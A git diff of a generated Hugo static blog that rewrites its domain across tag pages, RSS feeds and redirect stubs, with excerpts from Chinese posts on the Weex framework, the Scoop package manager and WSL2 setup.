 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git a/tags/weex/index.xml b/tags/weex/index.xml
index 914aff89..503fcd12 100644
--- a/tags/weex/index.xml
+++ b/tags/weex/index.xml
@@ -2,22 +2,22 @@
 <rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
   <channel>
     <title>weex on 小陈的个人博客</title>
-    <link>https://xiaochenabc123.github.io/tags/weex/</link>
+    <link>https://chenjunlinabc.github.io/tags/weex/</link>
     <description>Recent content in weex on 小陈的个人博客</description>
     <image>
       <title>小陈的个人博客</title>
-      <url>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
-      <link>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
+      <url>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
+      <link>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
     </image>
     <generator>Hugo -- gohugo.io</generator>
     <language>zh-cn</language>
-    <lastBuildDate>Sun, 10 Oct 2021 14:00:00 +0000</lastBuildDate><atom:link href="https://xiaochenabc123.github.io/tags/weex/index.xml" rel="self" type="application/rss+xml" />
+    <lastBuildDate>Sun, 10 Oct 2021 14:00:00 +0000</lastBuildDate><atom:link href="https://chenjunlinabc.github.io/tags/weex/index.xml" rel="self" type="application/rss+xml" />
     <item>
       <title>weex跨平台框架学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/116/</link>
+      <link>https://chenjunlinabc.github.io/posts/116/</link>
       <pubDate>Sun, 10 Oct 2021 14:00:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/116/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/116/</guid>
       <description>weex是阿里巴巴在Qcon大会上宣布开源的一套跨平台移动开发工具
 支持ES6，跨平台，体积小，性能优异，编写规范
 官网：http://emas.weex.io/zh/
diff --git a/tags/weex/page/1/index.html b/tags/weex/page/1/index.html
index b9502d86..b1c0ac1c 100644
--- a/tags/weex/page/1/index.html
+++ b/tags/weex/page/1/index.html
@@ -1 +1 @@
-<!doctype html><html lang=zh-cn><head><title>https://xiaochenabc123.github.io/tags/weex/</title><link rel=canonical href=https://xiaochenabc123.github.io/tags/weex/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://xiaochenabc123.github.io/tags/weex/"></head></html>
\ No newline at end of file
+<!doctype html><html lang=zh-cn><head><title>https://chenjunlinabc.github.io/tags/weex/</title><link rel=canonical href=https://chenjunlinabc.github.io/tags/weex/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://chenjunlinabc.github.io/tags/weex/"></head></html>
\ No newline at end of file
diff --git a/tags/windows/index.html b/tags/windows/index.html
index 468aa56c..bef3bb6d 100644
--- a/tags/windows/index.html
+++ b/tags/windows/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>windows | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/tags/windows/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/tags/windows/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="windows"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/tags/windows/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="windows"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/tags/>Tags</a></div><h1>windows</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>简单使用Scoop包管理器</h2></header><div class=entry-content><p>Scoop是windows平台下开源的命令行软件包管理器，类似于ubuntu的apt或者macOS的brew
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>windows | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/tags/windows/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/tags/windows/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="windows"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/tags/windows/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="windows"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/tags/>Tags</a></div><h1>windows</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>简单使用Scoop包管理器</h2></header><div class=entry-content><p>Scoop是windows平台下开源的命令行软件包管理器，类似于ubuntu的apt或者macOS的brew
 scoop仓库里面全部都是通过审核的绿色软件包（前提是不要乱用来路不明的scoop源）
 允许执行本地脚本权限
 Set-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope CurrentUser
@@ -33,7 +33,7 @@
 更新软件
 scoop update git
 更新全部已安装软件
-scoop update *...</p></div><footer class=entry-footer><span title='2022-05-20 22:10:00 +0000 UTC'>2022-05-20</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用Scoop包管理器" href=https://xiaochenabc123.github.io/posts/150/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>wsl2-windows子系统简单配置</h2></header><div class=entry-content><p>wsl全称Windows Subsystem for Linux
+scoop update *...</p></div><footer class=entry-footer><span title='2022-05-20 22:10:00 +0000 UTC'>2022-05-20</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用Scoop包管理器" href=https://chenjunlinabc.github.io/posts/150/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>wsl2-windows子系统简单配置</h2></header><div class=entry-content><p>wsl全称Windows Subsystem for Linux
 打开启动或关闭windows功能，选择虚拟机平台，安装完毕功能，重启
 打开Windows Power Shell，输入
 启用 wsl
@@ -59,7 +59,7 @@
 wsl –install
 查看可用的Linux发行版
 wsl –list –online
-或者...</p></div><footer class=entry-footer><span title='2021-06-16 17:43:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to wsl2-windows子系统简单配置" href=https://xiaochenabc123.github.io/posts/35/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+或者...</p></div><footer class=entry-footer><span title='2021-06-16 17:43:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to wsl2-windows子系统简单配置" href=https://chenjunlinabc.github.io/posts/35/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git a/tags/windows/index.xml b/tags/windows/index.xml
index b8c6c669..39fa88c2 100644
--- a/tags/windows/index.xml
+++ b/tags/windows/index.xml
@@ -2,22 +2,22 @@
 <rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
   <channel>
     <title>windows on 小陈的个人博客</title>
-    <link>https://xiaochenabc123.github.io/tags/windows/</link>
+    <link>https://chenjunlinabc.github.io/tags/windows/</link>
     <description>Recent content in windows on 小陈的个人博客</description>
     <image>
       <title>小陈的个人博客</title>
-      <url>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
-      <link>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
+      <url>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
+      <link>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
     </image>
     <generator>Hugo -- gohugo.io</generator>
     <language>zh-cn</language>
-    <lastBuildDate>Fri, 20 May 2022 22:10:00 +0000</lastBuildDate><atom:link href="https://xiaochenabc123.github.io/tags/windows/index.xml" rel="self" type="application/rss+xml" />
+    <lastBuildDate>Fri, 20 May 2022 22:10:00 +0000</lastBuildDate><atom:link href="https://chenjunlinabc.github.io/tags/windows/index.xml" rel="self" type="application/rss+xml" />
     <item>
       <title>简单使用Scoop包管理器</title>
-      <link>https://xiaochenabc123.github.io/posts/150/</link>
+      <link>https://chenjunlinabc.github.io/posts/150/</link>
       <pubDate>Fri, 20 May 2022 22:10:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/150/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/150/</guid>
       <description>Scoop是windows平台下开源的命令行软件包管理器，类似于ubuntu的apt或者macOS的brew
 scoop仓库里面全部都是通过审核的绿色软件包（前提是不要乱用来路不明的scoop源）
 允许执行本地脚本权限
@@ -58,10 +58,10 @@ scoop update *</description>
     
     <item>
       <title>wsl2-windows子系统简单配置</title>
-      <link>https://xiaochenabc123.github.io/posts/35/</link>
+      <link>https://chenjunlinabc.github.io/posts/35/</link>
       <pubDate>Wed, 16 Jun 2021 17:43:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/35/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/35/</guid>
       <description>wsl全称Windows Subsystem for Linux
 打开启动或关闭windows功能，选择虚拟机平台，安装完毕功能，重启
 打开Windows Power Shell，输入
diff --git a/tags/windows/page/1/index.html b/tags/windows/page/1/index.html
index b5ea858e..714e6859 100644
--- a/tags/windows/page/1/index.html
+++ b/tags/windows/page/1/index.html
@@ -1 +1 @@
-<!doctype html><html lang=zh-cn><head><title>https://xiaochenabc123.github.io/tags/windows/</title><link rel=canonical href=https://xiaochenabc123.github.io/tags/windows/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://xiaochenabc123.github.io/tags/windows/"></head></html>
\ No newline at end of file
+<!doctype html><html lang=zh-cn><head><title>https://chenjunlinabc.github.io/tags/windows/</title><link rel=canonical href=https://chenjunlinabc.github.io/tags/windows/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://chenjunlinabc.github.io/tags/windows/"></head></html>
\ No newline at end of file
diff --git a/tags/wsl/index.html b/tags/wsl/index.html
index 78db0cce..67bc9eec 100644
--- a/tags/wsl/index.html
+++ b/tags/wsl/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>wsl | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/tags/wsl/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/tags/wsl/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="wsl"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/tags/wsl/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="wsl"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/tags/>Tags</a></div><h1>wsl</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>wsl2-windows子系统简单配置</h2></header><div class=entry-content><p>wsl全称Windows Subsystem for Linux
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>wsl | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/tags/wsl/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/tags/wsl/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var 